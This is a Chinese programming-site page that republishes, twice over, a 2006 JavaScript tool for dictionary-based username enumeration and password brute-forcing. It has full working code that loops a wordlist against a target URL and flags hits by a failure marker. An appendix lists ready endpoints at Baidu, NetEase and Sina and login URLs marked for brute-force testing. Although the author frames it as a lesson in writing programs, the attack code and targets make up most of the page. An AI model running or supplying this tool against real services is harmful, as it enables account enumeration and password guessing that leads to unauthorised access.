javascript字典探測(cè)用戶名工具
更新時(shí)間:2006年10月05日 00:00:00 作者:
<html>
<head>
<style>
body { font-size: 10pt; background-color:#D4D0C8 }
td { font-size: 9pt }
</style>
</head>
<script language="javascript">
/*
程序標(biāo)題:javascript字典探測(cè)用戶名工具
發(fā)布時(shí)間:2006年8月
文章作者:翟振凱 (小琦)
作者網(wǎng)站:http://www.xiaoqi.net
作者論壇:http://www.tdqy.com
演示地址:http://www.xiaoqi.net/zuopin/js_user_swf.htm
QQ:22336848 53353866
關(guān)于本文:
授人予魚(yú),不如授人予漁。本程序的核心代碼處,都有詳細(xì)的注解,
目地是讓大家了解一個(gè)程序的開(kāi)發(fā)過(guò)程和這個(gè)程序功能的實(shí)現(xiàn)原理,
而不僅僅是給大家提供一個(gè)這樣的工具。希望看過(guò)本文后的朋友會(huì)有
所收獲,能和我共同分享用javascript編寫(xiě)程序的樂(lè)趣。
*/
//嘗試用IE瀏覽器的方式創(chuàng)建XMLHttpRequest對(duì)象
var xmlhttp = null;
try
{
xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
}
catch(e)
{
try
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e){
alert("您的瀏覽器不能創(chuàng)建XMLHttpRequest對(duì)象,無(wú)法使用此程序!");
}
}
//嘗試用IE瀏覽器的方式創(chuàng)建XMLHttpRequest對(duì)象結(jié)束
/*
翟振凱注:MSXML2.XMLHTTP 和 Microsoft.XMLHTTP 都是微軟的XMLHTTP控件,只是版本不同。
IE的安全級(jí)別如果不是太高,微軟的XMLHTTP控件是可以跨域獲取數(shù)據(jù)的。
因?yàn)?nbsp;Mozilla Firefox 瀏覽器的 XMLHttpRequest() 不能跨域獲取數(shù)據(jù),我們就不用 XMLHttpRequest() 方法創(chuàng)建XMLHTTP對(duì)象了。
*/
//對(duì)返回的中文編碼處理 作者:翟振凱
function Rec_Html(Html)
{
var Rec=new ActiveXObject("ADODB.RecordSet");
Rec.Fields.Append("xiaoqi",201,1);
Rec.Open();
Rec.AddNew();
Rec(0).AppendChunk(Html);
Rec.Update();
return Rec(0).Value;
Rec.Close();
}
//對(duì)返回的中文編碼處理結(jié)束
//開(kāi)始探測(cè) 參數(shù)為要探測(cè)的當(dāng)前值
function geturl(id)
{
try{
xmlhttp.open("GET",url.value+id,false);//定義數(shù)據(jù)傳送方式,服務(wù)網(wǎng)頁(yè)的URL(探測(cè)地址+探測(cè)值),是否同步執(zhí)行
xmlhttp.onreadystatechange = function() {//xmlhttp 觸發(fā)事件
if(xmlhttp.readyState==4)//xmlhttp對(duì)象狀態(tài)如果為完成
{
if(xmlhttp.status==200) //如果服務(wù)器返回的狀態(tài)碼為200(成功)
{
//對(duì)結(jié)果的中文編碼轉(zhuǎn)換判斷
if(err.value.replace(/[^\W]/g,'').length=0)
/*關(guān)于轉(zhuǎn)換判斷的注:
例如:"翟振凱".replace(/[^\W]/g,'').length 返回結(jié)果 3
"翟振凱22336848".replace(/[^\W]/g,'').length 返回結(jié)果 3
"xiaoqi22336848".replace(/[^\W]/g,'').length 返回結(jié)果 0
"小琦22336848".replace(/[^\W]/g,'').length 返回結(jié)果 2
replace(/[^\W]/g,'')的功能是把字符串里的英文和數(shù)字都清除掉。
*/
{
Html=xmlhttp.responseText;//不轉(zhuǎn)換
}
else
{
Html=Rec_Html(xmlhttp.responseBody);//轉(zhuǎn)換
}
//對(duì)結(jié)果的中文編碼轉(zhuǎn)換判斷結(jié)束
// 根據(jù)判斷依據(jù)區(qū)分可用或不可用的值!
if(Html.indexOf(err.value,0)<0)
{
x_1.innerHTML=x_1.innerHTML+"<nobr> "+id;//輸出可用值
}
else
{
x_2.innerHTML=x_2.innerHTML+"<nobr> "+id;//輸出不可用值
}
// 根據(jù)判斷依據(jù)區(qū)分可用或不可用的值!
}
}
}
xmlhttp.send();
}
catch(e)
{
x_2.innerHTML=x_2.innerHTML+"<nobr> "+id+"超時(shí)!";//輸出異?;虺瑫r(shí)的值。
}
}
//開(kāi)始探測(cè)結(jié)束
//載入本地字典文件,并把內(nèi)容定義為數(shù)組
function kaishi(){
fileFullPath=dic_url.value;
xmlhttp.open("GET",fileFullPath,false);//載入字典文件方法
xmlhttp.send();
Html=Rec_Html(xmlhttp.responseBody);//中文編碼轉(zhuǎn)換
dic=Html.split('\r\n');//以換行符將載入的字典內(nèi)容轉(zhuǎn)換為數(shù)組
sl.value=dic.length;//告訴用戶要探測(cè)的次數(shù)(數(shù)組大小)
xunhuan()//成功載入后開(kāi)始循環(huán)探測(cè)。
}
//載入本地字典文件,并把內(nèi)容定義為數(shù)組結(jié)束
//循環(huán)探測(cè)
function xunhuan()
{
bar=parseInt(jd.value);//將進(jìn)度值轉(zhuǎn)換為整數(shù)
if(bar<sl.value)//判斷是否探測(cè)完
{
for(i=0;i<parseInt(jc.value);i++){//設(shè)定探測(cè)線程
geturl(dic[bar+i]);//從數(shù)組內(nèi)取值進(jìn)行探測(cè)
}
jd.value=bar+parseInt(jc.value);//累加探測(cè)進(jìn)度,并向用戶呈現(xiàn)當(dāng)前進(jìn)度
setTimeout("xunhuan()",parseInt(hc.value*1000));//根據(jù)緩沖時(shí)間來(lái)進(jìn)行重復(fù)循環(huán)探測(cè)
}
else//如果進(jìn)度不小于要探測(cè)的次數(shù),就向用戶返回探測(cè)完成的結(jié)果。
{
alert("探測(cè)完成!");
}
}
//循環(huán)探測(cè)結(jié)束
//暫停探測(cè)函數(shù)
function pause(obj)
{
if(obj.value=='暫停')
{
obj.temp=hc.value;//記憶原來(lái)的緩沖時(shí)間。
hc.value=5000;//將緩沖時(shí)間設(shè)置為5000秒,這個(gè)值自己可以修改。
obj.value='繼續(xù)';//改變按鈕顯示狀態(tài)
}
else
{
hc.value=obj.temp;//提取原來(lái)的緩沖時(shí)間。
obj.value='暫停';//改變按鈕顯示狀態(tài)
kaishi()//繼續(xù)探測(cè)
}
}
//暫停探測(cè)函數(shù)結(jié)束
function ck()//單個(gè)值探測(cè)驗(yàn)證檢查
{
if (url.value.length<5){alert('請(qǐng)輸入要探測(cè)地址!');return};
if (id_one.value.length<1){alert('請(qǐng)輸入要探測(cè)的值!');return};
geturl(id_one.value)
}
function ck1()//批量值探測(cè)驗(yàn)證檢查
{
if (url.value.length<5){alert("請(qǐng)輸入要探測(cè)地址!");return}
if (err.value.length<1){alert("請(qǐng)輸入不可用標(biāo)記!");return}
if (dic_url.value.length<5){alert("請(qǐng)先選擇字典文件!");return}
jd.value=0;
kaishi()
}
</script>
<body>
程序作者:翟振凱 注:如果無(wú)法使用,或結(jié)果顯示超時(shí),請(qǐng)將本頁(yè)下載到本地計(jì)算機(jī)上使用。
<fieldset >
<legend>探測(cè)設(shè)置</legend>
<table border="1" width="100%" bordercolorlight="#E6E6E6" cellspacing="0" bordercolordark="#D4D0C8">
<tr>
<td>探測(cè)地址</td>
<td>
<input type="text" id="url" size="63" value="http://www.xiaoqi.net/zuopin/login.asp?username=翟振凱&password="></td>
</tr>
<tr>
<td>失敗包涵標(biāo)記 </td>
<td><input type="text" id="err" size="63" value="不正確"></td>
</tr>
<tr>
<td>測(cè)試單個(gè)值</td>
<td><input type="text" id="id_one" size="20">
<input type="button" value="探測(cè)" onclick="ck();"> </td>
</tr>
<tr>
<td>選擇字典文件</td>
<td><input type="file" name="dic_url" size="20" value="">
<input type="button" value="開(kāi)始" onclick="ck1();">
<input type="button" value="暫停" temp="" onclick="pause(this)">
<input type="button" value="清除可用結(jié)果" onclick="x_1.innerHTML=''">
<input type="button" value="清除不可用結(jié)果" onclick="x_2.innerHTML=''">
</td>
</tr>
<tr>
<td>高級(jí)參數(shù)</td>
<td>
每次探測(cè):<input type="text" id="jc" value="1" size="3"> 個(gè)
緩沖時(shí)間:<input type="text" id="hc" value="0.1" size="3"> 秒
進(jìn)度:<input type="text" id="jd" value="0" size="12">
探測(cè)數(shù)量:<input type="text" id="sl" size="13">
</td>
</tr>
</table>
</fieldset>
<fieldset>
<legend>可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_1"></span></div></fieldset>
<fieldset>
<legend>不可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_2"></span></div>
</fieldset>
<p>附錄:</p>
<table border="1" width="100%" id="table1" cellspacing="0" cellpadding="3">
<tr style="font-weight: bold; background-color: #C0C0C0">
<td width="111">測(cè)試字典文件地址</td>
<td width="633" colspan="3"><span style="font-weight: 400">
<font size="3">http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>
</tr>
<tr style="font-weight: bold; background-color: #C0C0C0">
<td width="111">網(wǎng)站名</td>
<td width="435">入口</td>
<td width="83">不可用標(biāo)記</td>
<td width="105">備注</td>
</tr>
<tr>
<td width="111">百度用戶注冊(cè)</td>
<td width="435">http://passport.baidu.com/?check_username&un=</td>
<td width="83">false</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">百度空間注冊(cè)</td>
<td width="435">http://hi.baidu.com/sys/checkurl/item/</td>
<td width="83">false</td>
<td width="105">要先用百度用戶登陸</td>
</tr>
<tr>
<td width="111">網(wǎng)易通行證注冊(cè)</td>
<td width="435">http://reg.163.com/register/checkssn.jsp?username=</td>
<td width="83">對(duì)不起</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">新浪通行證</td>
<td width="435">
<input type="text" size="57" value="http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm=96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef80c3a45976850d&email=&password=&password2=&pwdQ=&pwdA=&sex=&byear=1986&bmonth=01&bday=01&options=&outinstr=&safe_num=&safe_num2=&identityinfo=&identityNum=&checkidentityNum=&ismail=&userid="></td>
<td width="83">登錄名被占用</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">測(cè)試網(wǎng)站用戶密碼暴力破解</td>
<td width="435">
http://www.xiaoqi.net/zuopin/login.asp?username=翟振凱&password=</td>
<td width="83">不正確</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">測(cè)試網(wǎng)站用戶密碼暴力破解</td>
<td width="435">
http://www.xiaoqi.net/zuopin/login.asp?username=小琦&password=</td>
<td width="83">不正確</td>
<td width="105"> </td>
</tr>
</table>
<input type="hidden" id="dic1" value="ff"><input type="hidden" id="jc_id" value><p>
程序作者:翟振凱 開(kāi)發(fā)日期:2006年8月<br>
作者網(wǎng)站:<a >http://www.xiaoqi.net</a><br>
演示地址:<a >http://www.xiaoqi.net/zuopin/js_user_swf.htm</a><br>
程序打包下載地址:<a >http://www.xiaoqi.net/zuopin/js_user.rar</a><br>
QQ:22336848</p></p>
</body>
</html>
<head>
<style>
body { font-size: 10pt; background-color:#D4D0C8 }
td { font-size: 9pt }
</style>
</head>
<script language="javascript">
/*
程序標(biāo)題:javascript字典探測(cè)用戶名工具
發(fā)布時(shí)間:2006年8月
文章作者:翟振凱 (小琦)
作者網(wǎng)站:http://www.xiaoqi.net
作者論壇:http://www.tdqy.com
演示地址:http://www.xiaoqi.net/zuopin/js_user_swf.htm
QQ:22336848 53353866
關(guān)于本文:
授人予魚(yú),不如授人予漁。本程序的核心代碼處,都有詳細(xì)的注解,
目地是讓大家了解一個(gè)程序的開(kāi)發(fā)過(guò)程和這個(gè)程序功能的實(shí)現(xiàn)原理,
而不僅僅是給大家提供一個(gè)這樣的工具。希望看過(guò)本文后的朋友會(huì)有
所收獲,能和我共同分享用javascript編寫(xiě)程序的樂(lè)趣。
*/
//嘗試用IE瀏覽器的方式創(chuàng)建XMLHttpRequest對(duì)象
var xmlhttp = null;
try
{
xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");
}
catch(e)
{
try
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e){
alert("您的瀏覽器不能創(chuàng)建XMLHttpRequest對(duì)象,無(wú)法使用此程序!");
}
}
//嘗試用IE瀏覽器的方式創(chuàng)建XMLHttpRequest對(duì)象結(jié)束
/*
翟振凱注:MSXML2.XMLHTTP 和 Microsoft.XMLHTTP 都是微軟的XMLHTTP控件,只是版本不同。
IE的安全級(jí)別如果不是太高,微軟的XMLHTTP控件是可以跨域獲取數(shù)據(jù)的。
因?yàn)?nbsp;Mozilla Firefox 瀏覽器的 XMLHttpRequest() 不能跨域獲取數(shù)據(jù),我們就不用 XMLHttpRequest() 方法創(chuàng)建XMLHTTP對(duì)象了。
*/
//對(duì)返回的中文編碼處理 作者:翟振凱
function Rec_Html(Html)
{
var Rec=new ActiveXObject("ADODB.RecordSet");
Rec.Fields.Append("xiaoqi",201,1);
Rec.Open();
Rec.AddNew();
Rec(0).AppendChunk(Html);
Rec.Update();
return Rec(0).Value;
Rec.Close();
}
//對(duì)返回的中文編碼處理結(jié)束
//開(kāi)始探測(cè) 參數(shù)為要探測(cè)的當(dāng)前值
function geturl(id)
{
try{
xmlhttp.open("GET",url.value+id,false);//定義數(shù)據(jù)傳送方式,服務(wù)網(wǎng)頁(yè)的URL(探測(cè)地址+探測(cè)值),是否同步執(zhí)行
xmlhttp.onreadystatechange = function() {//xmlhttp 觸發(fā)事件
if(xmlhttp.readyState==4)//xmlhttp對(duì)象狀態(tài)如果為完成
{
if(xmlhttp.status==200) //如果服務(wù)器返回的狀態(tài)碼為200(成功)
{
//對(duì)結(jié)果的中文編碼轉(zhuǎn)換判斷
if(err.value.replace(/[^\W]/g,'').length=0)
/*關(guān)于轉(zhuǎn)換判斷的注:
例如:"翟振凱".replace(/[^\W]/g,'').length 返回結(jié)果 3
"翟振凱22336848".replace(/[^\W]/g,'').length 返回結(jié)果 3
"xiaoqi22336848".replace(/[^\W]/g,'').length 返回結(jié)果 0
"小琦22336848".replace(/[^\W]/g,'').length 返回結(jié)果 2
replace(/[^\W]/g,'')的功能是把字符串里的英文和數(shù)字都清除掉。
*/
{
Html=xmlhttp.responseText;//不轉(zhuǎn)換
}
else
{
Html=Rec_Html(xmlhttp.responseBody);//轉(zhuǎn)換
}
//對(duì)結(jié)果的中文編碼轉(zhuǎn)換判斷結(jié)束
// 根據(jù)判斷依據(jù)區(qū)分可用或不可用的值!
if(Html.indexOf(err.value,0)<0)
{
x_1.innerHTML=x_1.innerHTML+"<nobr> "+id;//輸出可用值
}
else
{
x_2.innerHTML=x_2.innerHTML+"<nobr> "+id;//輸出不可用值
}
// 根據(jù)判斷依據(jù)區(qū)分可用或不可用的值!
}
}
}
xmlhttp.send();
}
catch(e)
{
x_2.innerHTML=x_2.innerHTML+"<nobr> "+id+"超時(shí)!";//輸出異?;虺瑫r(shí)的值。
}
}
//開(kāi)始探測(cè)結(jié)束
//載入本地字典文件,并把內(nèi)容定義為數(shù)組
function kaishi(){
fileFullPath=dic_url.value;
xmlhttp.open("GET",fileFullPath,false);//載入字典文件方法
xmlhttp.send();
Html=Rec_Html(xmlhttp.responseBody);//中文編碼轉(zhuǎn)換
dic=Html.split('\r\n');//以換行符將載入的字典內(nèi)容轉(zhuǎn)換為數(shù)組
sl.value=dic.length;//告訴用戶要探測(cè)的次數(shù)(數(shù)組大小)
xunhuan()//成功載入后開(kāi)始循環(huán)探測(cè)。
}
//載入本地字典文件,并把內(nèi)容定義為數(shù)組結(jié)束
//循環(huán)探測(cè)
function xunhuan()
{
bar=parseInt(jd.value);//將進(jìn)度值轉(zhuǎn)換為整數(shù)
if(bar<sl.value)//判斷是否探測(cè)完
{
for(i=0;i<parseInt(jc.value);i++){//設(shè)定探測(cè)線程
geturl(dic[bar+i]);//從數(shù)組內(nèi)取值進(jìn)行探測(cè)
}
jd.value=bar+parseInt(jc.value);//累加探測(cè)進(jìn)度,并向用戶呈現(xiàn)當(dāng)前進(jìn)度
setTimeout("xunhuan()",parseInt(hc.value*1000));//根據(jù)緩沖時(shí)間來(lái)進(jìn)行重復(fù)循環(huán)探測(cè)
}
else//如果進(jìn)度不小于要探測(cè)的次數(shù),就向用戶返回探測(cè)完成的結(jié)果。
{
alert("探測(cè)完成!");
}
}
//循環(huán)探測(cè)結(jié)束
//暫停探測(cè)函數(shù)
function pause(obj)
{
if(obj.value=='暫停')
{
obj.temp=hc.value;//記憶原來(lái)的緩沖時(shí)間。
hc.value=5000;//將緩沖時(shí)間設(shè)置為5000秒,這個(gè)值自己可以修改。
obj.value='繼續(xù)';//改變按鈕顯示狀態(tài)
}
else
{
hc.value=obj.temp;//提取原來(lái)的緩沖時(shí)間。
obj.value='暫停';//改變按鈕顯示狀態(tài)
kaishi()//繼續(xù)探測(cè)
}
}
//暫停探測(cè)函數(shù)結(jié)束
function ck()//單個(gè)值探測(cè)驗(yàn)證檢查
{
if (url.value.length<5){alert('請(qǐng)輸入要探測(cè)地址!');return};
if (id_one.value.length<1){alert('請(qǐng)輸入要探測(cè)的值!');return};
geturl(id_one.value)
}
function ck1()//批量值探測(cè)驗(yàn)證檢查
{
if (url.value.length<5){alert("請(qǐng)輸入要探測(cè)地址!");return}
if (err.value.length<1){alert("請(qǐng)輸入不可用標(biāo)記!");return}
if (dic_url.value.length<5){alert("請(qǐng)先選擇字典文件!");return}
jd.value=0;
kaishi()
}
</script>
<body>
程序作者:翟振凱 注:如果無(wú)法使用,或結(jié)果顯示超時(shí),請(qǐng)將本頁(yè)下載到本地計(jì)算機(jī)上使用。
<fieldset >
<legend>探測(cè)設(shè)置</legend>
<table border="1" width="100%" bordercolorlight="#E6E6E6" cellspacing="0" bordercolordark="#D4D0C8">
<tr>
<td>探測(cè)地址</td>
<td>
<input type="text" id="url" size="63" value="http://www.xiaoqi.net/zuopin/login.asp?username=翟振凱&password="></td>
</tr>
<tr>
<td>失敗包涵標(biāo)記 </td>
<td><input type="text" id="err" size="63" value="不正確"></td>
</tr>
<tr>
<td>測(cè)試單個(gè)值</td>
<td><input type="text" id="id_one" size="20">
<input type="button" value="探測(cè)" onclick="ck();"> </td>
</tr>
<tr>
<td>選擇字典文件</td>
<td><input type="file" name="dic_url" size="20" value="">
<input type="button" value="開(kāi)始" onclick="ck1();">
<input type="button" value="暫停" temp="" onclick="pause(this)">
<input type="button" value="清除可用結(jié)果" onclick="x_1.innerHTML=''">
<input type="button" value="清除不可用結(jié)果" onclick="x_2.innerHTML=''">
</td>
</tr>
<tr>
<td>高級(jí)參數(shù)</td>
<td>
每次探測(cè):<input type="text" id="jc" value="1" size="3"> 個(gè)
緩沖時(shí)間:<input type="text" id="hc" value="0.1" size="3"> 秒
進(jìn)度:<input type="text" id="jd" value="0" size="12">
探測(cè)數(shù)量:<input type="text" id="sl" size="13">
</td>
</tr>
</table>
</fieldset>
<fieldset>
<legend>可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_1"></span></div></fieldset>
<fieldset>
<legend>不可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_2"></span></div>
</fieldset>
<p>附錄:</p>
<table border="1" width="100%" id="table1" cellspacing="0" cellpadding="3">
<tr style="font-weight: bold; background-color: #C0C0C0">
<td width="111">測(cè)試字典文件地址</td>
<td width="633" colspan="3"><span style="font-weight: 400">
<font size="3">http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>
</tr>
<tr style="font-weight: bold; background-color: #C0C0C0">
<td width="111">網(wǎng)站名</td>
<td width="435">入口</td>
<td width="83">不可用標(biāo)記</td>
<td width="105">備注</td>
</tr>
<tr>
<td width="111">百度用戶注冊(cè)</td>
<td width="435">http://passport.baidu.com/?check_username&un=</td>
<td width="83">false</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">百度空間注冊(cè)</td>
<td width="435">http://hi.baidu.com/sys/checkurl/item/</td>
<td width="83">false</td>
<td width="105">要先用百度用戶登陸</td>
</tr>
<tr>
<td width="111">網(wǎng)易通行證注冊(cè)</td>
<td width="435">http://reg.163.com/register/checkssn.jsp?username=</td>
<td width="83">對(duì)不起</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">新浪通行證</td>
<td width="435">
<input type="text" size="57" value="http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm=96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef80c3a45976850d&email=&password=&password2=&pwdQ=&pwdA=&sex=&byear=1986&bmonth=01&bday=01&options=&outinstr=&safe_num=&safe_num2=&identityinfo=&identityNum=&checkidentityNum=&ismail=&userid="></td>
<td width="83">登錄名被占用</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">測(cè)試網(wǎng)站用戶密碼暴力破解</td>
<td width="435">
http://www.xiaoqi.net/zuopin/login.asp?username=翟振凱&password=</td>
<td width="83">不正確</td>
<td width="105"> </td>
</tr>
<tr>
<td width="111">測(cè)試網(wǎng)站用戶密碼暴力破解</td>
<td width="435">
http://www.xiaoqi.net/zuopin/login.asp?username=小琦&password=</td>
<td width="83">不正確</td>
<td width="105"> </td>
</tr>
</table>
<input type="hidden" id="dic1" value="ff"><input type="hidden" id="jc_id" value><p>
程序作者:翟振凱 開(kāi)發(fā)日期:2006年8月<br>
作者網(wǎng)站:<a >http://www.xiaoqi.net</a><br>
演示地址:<a >http://www.xiaoqi.net/zuopin/js_user_swf.htm</a><br>
程序打包下載地址:<a >http://www.xiaoqi.net/zuopin/js_user.rar</a><br>
QQ:22336848</p></p>
</body>
</html>
您可能感興趣的文章:
- Javascript的數(shù)組與字典用法與遍歷對(duì)象的技巧
- JavaScript中創(chuàng)建字典對(duì)象(dictionary)實(shí)例
- 淺談Javascript 數(shù)組與字典
- JavaScript實(shí)現(xiàn)的類字典插入或更新方法實(shí)例
- Javascript數(shù)組與字典用法分析
- JS字典Dictionary類定義與用法示例
- JavaScript中實(shí)現(xiàn)鍵值對(duì)應(yīng)的字典與哈希表結(jié)構(gòu)的示例
- JS中的算法與數(shù)據(jù)結(jié)構(gòu)之鏈表(Linked-list)實(shí)例詳解
- JS中的算法與數(shù)據(jù)結(jié)構(gòu)之隊(duì)列(Queue)實(shí)例詳解
- JS中的算法與數(shù)據(jù)結(jié)構(gòu)之棧(Stack)實(shí)例詳解
- JS中的算法與數(shù)據(jù)結(jié)構(gòu)之字典(Dictionary)實(shí)例詳解
相關(guān)文章
JavaScript中實(shí)現(xiàn)異步編程模式的4種方法
這篇文章主要介紹了JavaScript中實(shí)現(xiàn)異步編程模式的4種方法,本文講解了回調(diào)函數(shù)、事件監(jiān)聽(tīng)、發(fā)布/訂閱、Promises對(duì)象4種方法,需要的朋友可以參考下2014-09-09關(guān)于Javascript與iframe的那些事兒
iframe 很多網(wǎng)站都在用,雖然方便開(kāi)發(fā)與維護(hù)(可能同時(shí)有幾個(gè)頁(yè)面調(diào)用同一個(gè) iframe ),不過(guò)卻存在安全問(wèn)題2013-07-07js實(shí)現(xiàn)公告自動(dòng)滾動(dòng)
這篇文章主要為大家詳細(xì)介紹了js實(shí)現(xiàn)公告自動(dòng)滾動(dòng),文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2022-05-05JS實(shí)現(xiàn)點(diǎn)擊顏色塊切換指定區(qū)域背景顏色的方法
這篇文章主要介紹了JS實(shí)現(xiàn)點(diǎn)擊顏色塊切換指定區(qū)域背景顏色的方法,涉及javascript操作cookie及背景色的技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-02-02js實(shí)現(xiàn)鼠標(biāo)觸發(fā)圖片抖動(dòng)效果的方法
這篇文章主要介紹了js實(shí)現(xiàn)鼠標(biāo)觸發(fā)圖片抖動(dòng)效果的方法,通過(guò)定時(shí)器定時(shí)遞歸調(diào)用rattleimage函數(shù)實(shí)現(xiàn)抖動(dòng)效果,非常實(shí)用,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-02-02js中字符型和數(shù)值型數(shù)字的互相轉(zhuǎn)化方法(必看)
下面小編就為大家?guī)?lái)一篇js中字符型和數(shù)值型數(shù)字的互相轉(zhuǎn)化方法(必看)。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2017-04-04js 得到文件后綴(通過(guò)正則實(shí)現(xiàn))
使用js獲取文件的后綴,有個(gè)不錯(cuò)的正則,大家可以借用下,具體如下,感興趣的朋友可以參考下哈,希望對(duì)大家有所幫助2013-07-07